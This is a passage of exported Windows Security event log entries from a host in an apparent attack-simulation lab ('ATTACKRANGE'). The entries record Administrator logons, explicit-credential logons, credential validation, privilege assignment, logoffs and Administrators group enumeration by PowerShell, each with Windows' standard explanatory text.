service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245458 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245457 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245477 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xA065C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245476 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xA065C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245475 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245474 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245478 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9D950 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xc78 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245497 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245496 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB379E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245495 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB379E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245494 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245493 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245492 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB36BA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245491 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9DE30 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245490 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB36BA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245489 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB36BA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245488 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245487 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245486 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB3689 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245485 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB3689 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245484 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB3689 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245483 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245482 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245481 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xA065C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245480 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9FD2D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245479 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9E15D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245509 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB5E24 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245508 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB5E24 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245507 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245506 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245505 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB4187 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245504 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB4187 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245503 -Keywords=Audit Success -Message=A logon was attempted using explicit 